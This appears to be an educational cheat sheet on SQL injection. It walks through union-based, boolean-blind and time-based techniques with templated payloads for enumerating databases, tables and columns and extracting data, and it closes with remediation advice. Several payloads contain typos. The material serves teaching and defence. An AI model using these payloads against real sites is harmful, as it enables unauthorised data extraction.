SQL Injection

SQL Injection (SQLi) is a common and dangerous web security vulnerability that allows attackers to interfere with the queries an application makes to its database.

It occurs when untrusted input is inserted directly into an SQL query without proper validation or sanitization, enabling the attacker to execute malicious SQL commands.

There are various forms of SQL injection attacks, each targeting different aspects of how SQL queries interact with the database.

In-Band

Refers to the same method of communication being used to exploit the vulnerability, and also to receive the results.

Union-Based

Use the SQL UNION operator to return additional results to the page, allowing the extraction of large amounts of data.

  • Determining the number of columns

$url/query?$column=$value UNION SELECT 1
$url/query?$column=$value UNION SELECT 1,2   #Try with a extra value
$url/query?$column=$value UNION SELECT 1,2,3 #Try Until there's no message error
#This won't show a message error when the number of columns coincides  

  • Change query value

$url/query?$column=$changedvalue UNION SELECT $found
#Change until no results are shown to determine the value

$found is the union value that has been caught in the previous step


  • Check the database name

$url/query?$column=$changedvalue UNION $found,database() #Try to get database
#This will return the name of the DB we are searching

  • Check the information schema for the DB and table information

$url/query?$column=$changedvalue UNION $found,group_concat(table_name) FROM information_schema.tables WHERE table_schema = '$dbfound'
#This will return a string with all tables of the database

the $dbfound value is the result of the previous query


  • Check the information schema for the DB and table information

$url/query?$column=$changedvalue UNION $found,group_concat(colum_name) FROM information_schema.columns WHERE table_name = '$tablefound'
#This will return a string with all columns of the table

  • Obtain the values that we were looking for

0 UNION SELECT 1,2,group_concat($value1,$value2) FROM $tablefound
#Obtain the values from the table we needed

Error-Based

Obtaining information about the database structure as error messages from the database, is printed directly to the browser screen.

Blind (Inferential)

Results of the attack can't be directly seen on the screen, we get little to no feedback to confirm whether our injected queries were.

Boolean Based

Use the response we receive back from our injection if this only has two outcomes

  • Check if the page has verification queries

$url/$query?$column=$value

  • Use union injection until the state changes

$url/query?$column=$changedvalue' UNION SELECT 1;
$url/query?$column=$changedvalue' UNION SELECT 1,2;   #Try with a extra value
$url/query?$column=$changedvalue' UNION SELECT 1,2,3; #Try Until the result change
#This will determine the number of columns

  • Find the database name by iteration

$url/query?$column=$changedvalue' UNION SELECT $found where database() like '%';
#The value % will match anything true
$url/query?$column=$changedvalue' UNION SELECT $found where database() like 'a%'; #Try a
$url/query?$column=$changedvalue' UNION SELECT $found where database() like 'b%'; #Try b
#Repeat with every letter until a value that gets true is found
$url/query?$column=$changedvalue' UNION SELECT $found where database() like '$lettera%';
#Make the same process for the next value
$url/query?$column=$changedvalue' UNION SELECT $found where database() LIKE '$letter$letter2a$%';
#Repeat until all DB names have been found

$found is the union value that has been caught in the previous step

$letter is the value which returns true in each iteration


  • Find the table name by iteration

$url/query?$column=$changedvalue' UNION $found FROM information_schema.tables WHERE table_schema = '$dbfound' and table_name LIKE 'a%';
#Repeat until all table names are found

  • Find the column by iteration

$url/query?$column=$changedvalue' UNION $found FROM information_schema.tables WHERE table_schema = '$dbfound' and table_name = 'table' and column_name LIKE 'a%';
#Make an iterative process to find the column name

  • Find the objective value

$url/query?$column=$changedvalue' FROM $table_found WHERE %column_found LIKE 'a%';
#Make an iterative process to find the value needed

  • Handling value exceptions

$url/query?$column=$changedvalue' UNION $found FROM information_schema.tables WHERE table_schema = '$dbfound' and and tablename != $notobjective and $table_name LIKE 'a%';

$notobjectiverefers to the value that we found, but we don't need it

Time-Based

Make use of the time a response is generated to the request to determine if the query value was found or not. It is used when we don't get a visual return to the injection.

  • Determining the number of columns

$url/query?$column=$changedvalue' UNION SELECT SLEEP($time);
$url/query?$column=$changedvalue' UNION SELECT SLEEP($time),2;
#Try until the petition time is different

The time of an error request is always less than a correct query


  • Make a Boolean-based iterative process to map the DB, tables, and columns you need

#Find DB name, table, and column by an iterative process using sleep
$url/query?$column=$changedvalue' UNION SELECT SLEEP($time),$found FROM information_schema.tables WHERE table_schema = '$dbfound' and table_name = 'table' and column_name LIKE '%';
#The values of each step are dictated by the time the response is sent

  • Make a boolean-based iterative process to find the value you need

#Find DB name, table, and column by an iterative process using sleep
$url/query?$column=$changedvalue' UNION SELECT SLEEP($time),$found FROM $table_found WHERE $column_found 

Out Of Band

Depends on the DB feature of making some kind of external network call based on the results from an SQL query. It is classified by having two different communication channels:

  • One is to launch the attack where the SQLi can be done to send a query

  • The other is to gather the results by intercepting responses from a database or another external service

Second-Order (Stored)

In this scenario, the attacker injects malicious data into the system that is not immediately executed but is stored and later used by the application. The SQL injection occurs at a later time when the data is used in another query.

Remediation Actions

  • Don't concatenate or interpolate user input directly into SQL queries

  • Use parameterized queries or prepared statements provided by the database library

  • Validate user inputs strictly, ensuring they match expected formats and types

  • Escape input only as a last resort, and only using safe, built-in escaping functions

  • Limit database permissions so the application user account has only the necessary access

  • Use stored procedures to encapsulate SQL logic where appropriate, reducing exposure to direct query manipulation

  • Keep your database engine and ORM libraries up to date with security patches

Last updated